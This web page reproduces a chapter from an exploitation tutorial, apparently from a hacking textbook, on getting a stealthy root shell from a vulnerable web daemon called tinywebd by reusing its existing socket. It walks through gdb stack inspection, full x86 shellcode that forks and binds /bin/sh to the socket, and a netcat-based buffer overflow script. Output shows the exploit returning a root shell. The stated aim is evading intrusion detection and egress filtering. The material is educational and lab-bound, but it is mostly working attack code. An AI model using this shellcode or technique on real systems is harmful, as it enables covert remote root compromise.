SECURITY

Hacking - The Whole Infrastructure

8/31/2010 3:29:04 PM
the_whole_infrastructure.html
As always, details can be hidden in the bigger picture. A single host usually exists within some sort of infrastructure. Countermeasures such as intrusion detection systems (IDS) and intrusion prevention systems (IPS) can detect abnormal network traffic. Even simple log files on routers and firewalls can reveal abnormal connections that are indicative of an intrusion. In particular, the connection to port 31337 used in our connect-back shellcode is a big red flag. We could change the port to something that looks less suspicious; however, simply having a webserver open outbound connections could be a red flag by itself. A highly secure infrastructure might even have the firewall setup with egress filters to prevent outbound connections. In these situations, opening a new connection is either impossible or will be detected.

1. Socket Reuse

In our case, there's really no need to open a new connection, since we already have an open socket from the web request. Since we're mucking around inside the tinyweb daemon, with a little debugging we can reuse the existing socket for the root shell. This prevents additional TCP connections from being logged and allows exploitation in cases where the target host cannot open outbound connections. Take a look at the source code from tinywebd.c shown below.

1.1. Excerpt from tinywebd.c
   while(1) { // Accept loop
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if(new_sockfd == -1)
fatal("accepting connection");

handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}

/* This function handles the connection on the passed socket from the
* passed client address and logs to the passed FD. The connection is
* processed as a web request, and this function replies over the connected
* socket. Finally, the passed socket is closed at the end of the function.
*/
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;

length = recv_line(sockfd, request);


Unfortunately, the sockfd passed to handle_connection() will inevitably be overwritten so we can overwrite logfd. This overwrite happens before we gain control of the program in the shellcode, so there's no way to recover the previous value of sockfd. Luckily, main() keeps another copy of the socket's file descriptor in new_sockfd.

reader@hacking:~/booksrc $ ps aux | grep tinywebd
root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd
reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q-pid=478 --symbols=./a.out
warning: not using untrusted file "/home/reader/.gdbinit"
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to process 478
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) list handle_connection
77 /* This function handles the connection on the passed socket from the
78 * passed client address and logs to the passed FD. The connection is
79 * processed as a web request, and this function replies over the connected
80 * socket. Finally, the passed socket is closed at the end of the function.
81 */
82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd)
{
83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
84 int fd, length;
85
86 length = recv_line(sockfd, request);
(gdb) break 86
Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) cont
Continuing.


After the breakpoint is set and the program continues, the silent exploit tool is used from another terminal to connect and advance execution.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at
tinywebd.c:86
86 length = recv_line(sockfd, request);
(gdb) x/x &sockfd
0xbffff7e0: 0x0000000d
(gdb) x/x &new_sockfd
No symbol "new_sockfd" in current context.
(gdb) bt
#0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) select-frame 1
(gdb) x/x &new_sockfd
0xbffff83c: 0x0000000d
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 478
reader@hacking:~/booksrc $


This debugging output shows that new_sockfd is stored at 0xbffff83c within main's stack frame. Using this, we can create shellcode that uses the socket file descriptor stored here instead of creating a new connection.

While we could just use this address directly, there are many little things that can shift stack memory around. If this happens and the shellcode is using a hard-coded stack address, the exploit will fail. To make the shellcode more reliable, take a cue from how the compiler handles stack variables. If we use an address relative to ESP, then even if the stack shifts around a bit, the address of new_sockfd will still be correct since the offset from ESP will be the same. As you may remember from debugging with the mark_break shellcode, ESP was 0xbffff7e0. Using this value for ESP, the offset is shown to be 0x5c bytes.

reader@hacking:~/booksrc $ gdb -q
(gdb) print /x 0xbffff83c - 0xbffff7e0
$1 = 0x5c
(gdb)

The following shellcode reuses the existing socket for the root shell.

1.2. socket_reuse_restore.s
BITS 32

push BYTE 0x02 ; Fork is syscall #2
pop eax
int 0x80 ; After the fork, in child process eax == 0.
test eax, eax
jz child_process ; In child process spawns a shell.

; In the parent process, restore tinywebd.
lea ebp, [esp+0x68] ; Restore EBP.
push 0x08048fb7 ; Return address.
ret ; Return.

child_process:
; Re-use existing socket.
lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.
mov ebx, [edx] ; Put the value of new_sockfd in ebx.
push BYTE 0x02
pop ecx ; ecx starts at 2.
xor eax, eax
xor edx, edx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; Count down to 0.
jns dup_loop ; If the sign flag is not set, ecx is not negative.

; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push edx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])


To effectively use this shellcode, we need another exploitation tool that lets us send the exploit buffer but keeps the socket out for further I/O. This second exploit script adds an additional cat - command to the end of the exploit buffer. The dash argument means standard input. Running cat on standard input is somewhat useless in itself, but when the command is piped into netcat, this effectively ties standard input and output to netcat's network socket. The script below connects to the target, sends the exploit buffer, and then keeps the socket open and gets further input from the terminal. This is done with just a few modifications (shown in bold) to the silent exploit tool.

1.3. xtool_tinywebd_reuse.sh
#!/bin/sh
# Silent stealth exploitation tool for tinywebd
# also spoofs IP address stored in memory
# reuses existing socket-use socket_reuse shellcode SPOOFIP="12.34.56.78" SPOOFPORT="9090" if [ -z "$2" ]; then # if argument 2 is blank echo "Usage: $0 "
exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00"
FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')
OFFSET=540
RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))

echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE]
[ret
addr 128] [*fake_addr 8]"
(perl -e "print \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"";
cat -;) | nc -v $2 80


When this tool is used with the socket_reuse_restore shellcode, the root shell will be served up using the same socket used for the web request. The following output demonstrates this.

reader@hacking:~/booksrc $ nasm socket_reuse_restore.s
reader@hacking:~/booksrc $ hexdump -C socket_reuse_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |..T$\.j.Y1.1.|
00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|
00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin.R.S..|
0000003e
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: socket_reuse_restore (62 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
whoami
root


By reusing the existing socket, this exploit is even quieter since it doesn't create any additional connections. Fewer connections mean fewer abnormalities for any countermeasures to detect.

Previous Page Next Page
Other  
 
Top 10
Review : Sigma 24mm f/1.4 DG HSM Art
Review : Canon EF11-24mm f/4L USM
Review : Creative Sound Blaster Roar 2
Review : Philips Fidelio M2L
Review : Alienware 17 - Dell's Alienware laptops
Review Smartwatch : Wellograph
Review : Xiaomi Redmi 2
Extending LINQ to Objects : Writing a Single Element Operator (part 2) - Building the RandomElement Operator
Extending LINQ to Objects : Writing a Single Element Operator (part 1) - Building Our Own Last Operator
3 Tips for Maintaining Your Cell Phone Battery (part 2) - Discharge Smart, Use Smart
REVIEW
- First look: Apple Watch

- 3 Tips for Maintaining Your Cell Phone Battery (part 1)

- 3 Tips for Maintaining Your Cell Phone Battery (part 2)
VIDEO TUTORIAL
- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 1)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 2)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 3)
Popular Tags
Microsoft Access Microsoft Excel Microsoft OneNote Microsoft PowerPoint Microsoft Project Microsoft Visio Microsoft Word Active Directory Biztalk Exchange Server Microsoft LynC Server Microsoft Dynamic Sharepoint Sql Server Windows Server 2008 Windows Server 2012 Windows 7 Windows 8 Adobe Indesign Adobe Flash Professional Dreamweaver Adobe Illustrator Adobe After Effects Adobe Photoshop Adobe Fireworks Adobe Flash Catalyst Corel Painter X CorelDRAW X5 CorelDraw 10 QuarkXPress 8 windows Phone 7 windows Phone 8